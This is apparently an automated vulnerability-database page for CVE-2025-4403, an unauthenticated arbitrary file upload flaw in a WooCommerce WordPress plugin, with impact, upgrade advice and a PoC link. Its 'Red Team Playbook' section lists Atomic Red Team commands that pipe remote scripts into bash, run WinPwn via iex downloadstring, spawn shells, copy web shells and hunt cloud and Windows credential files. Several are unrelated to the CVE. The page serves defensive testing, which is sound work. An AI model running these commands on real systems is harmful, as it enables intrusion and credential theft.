CVE-2025-4403
Overview
This vulnerability is an arbitrary file upload flaw caused by improper validation of user-supplied input in the Drag and Drop Multiple File Upload for WooCommerce WordPress plugin. Specifically, the upload() function fails to enforce validation on the supported_type parameter and the uploaded filename, allowing bypass of extension and MIME type checks. The affected component is the file upload handler within versions up to and including 1.1.6 of the plugin.
Vulnerability Description
The Drag and Drop Multiple File Upload for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads in all versions up to, and including, 1.1.6 due to accepting a user‐supplied supported_type string and the uploaded filename without enforcing real extension or MIME checks within the upload() function. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can exploit this vulnerability to upload arbitrary files, including potentially malicious scripts, to the web server hosting the WooCommerce plugin. This can lead to remote code execution, allowing full compromise of the affected site. No authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), making exploitation straightforward over the network. The consequences include unauthorized access, data theft, and service disruption, severely impacting business operations and data integrity.
Solution
Users should upgrade the Drag and Drop Multiple File Upload for WooCommerce plugin to a version later than 1.1.6 where this vulnerability is addressed. Detailed patch information and remediation instructions are available from the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/933dd704-5a31-42a9-9b87-bf14a9d4ffa9 and the official plugin page on WordPress.org. No specific workaround is documented; applying the vendor’s update is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Drag and Drop Multiple File Upload for WooCommerce plugin for WordPress arises from inadequate validation of user-supplied input, specifically the supported_type string and the uploaded filename. This oversight allows attackers to bypass essential security checks, such as verifying file extensions and MIME types, during the file upload process. The upload() function's failure to enforce these checks creates a significant security gap, enabling unauthorized users to upload arbitrary files to the server. Such files could include malicious scripts or executables that, once on the server, can be executed to compromise the system.
Attack vectors exploiting this vulnerability are varied and can be executed with minimal technical expertise. An unauthenticated attacker could craft a request to upload a file disguised as a legitimate document, such as a PDF or image, while actually containing malicious code. Once uploaded, the attacker could leverage this access to execute remote code, potentially gaining control over the server. This scenario could lead to further exploitation, including data breaches, website defacement, or the deployment of additional malware. The simplicity of the attack makes it particularly concerning, as it does not require advanced skills or insider knowledge, thereby broadening the potential threat landscape.
The real-world impact of this vulnerability is profound, particularly for businesses relying on the WooCommerce platform for e-commerce operations. Successful exploitation could lead to unauthorized access to sensitive customer data, including payment information and personal details, resulting in significant reputational damage and financial loss. Additionally, the potential for remote code execution means that attackers could use the compromised server as a launching point for further attacks, affecting not only the targeted organization but also its customers and partners. The business risk extends beyond immediate financial implications, as regulatory repercussions may arise from data breaches, leading to fines and legal challenges.
Detection and mitigation strategies are crucial in addressing this vulnerability. Organizations should implement robust file upload validation mechanisms to ensure that only files with legitimate extensions and MIME types are accepted. Employing security plugins that provide additional layers of protection can help mitigate risks associated with file uploads. Regular security audits and code reviews of plugins and themes can also identify vulnerabilities before they are exploited. Furthermore, maintaining an updated version of the plugin is essential, as developers often release patches to address known vulnerabilities. Organizations should also consider implementing web application firewalls (WAFs) to monitor and filter incoming traffic, providing an additional layer of defense against potential attacks.
In conclusion, the vulnerability in the Drag and Drop Multiple File Upload for WooCommerce plugin poses a significant threat to WordPress sites using this functionality. The ease of exploitation, coupled with the potential for severe consequences, underscores the importance of proactive security measures. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Implementing effective detection and mitigation strategies will not only protect the integrity of their systems but also safeguard their customers' trust and sensitive information.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Yucaerin/CVE-2025-4403
Drag and Drop Multiple File Upload for WooCommerce <= 1.1.6 - Unauthenticated Arbitrary File Upload via upload Function
|
Yucaerin | 3 | 3 | 2025-05-10 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-4403 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/933dd704-5a31-42a9-9b87-bf14a9d4ffa9?source=cve |
| wordpress.org |
GitHub CVE
|
https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-for-woocommerce/#developers |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/drag-and-drop-multiple-file-upload-for-woocommerce/tags/1.1.6/inc/class-dnd-upload-wc.php#L360 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/drag-and-drop-multiple-file-upload-for-woocommerce/tags/1.1.6/inc/class-dnd-upload-wc.php#L158 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3289478/ |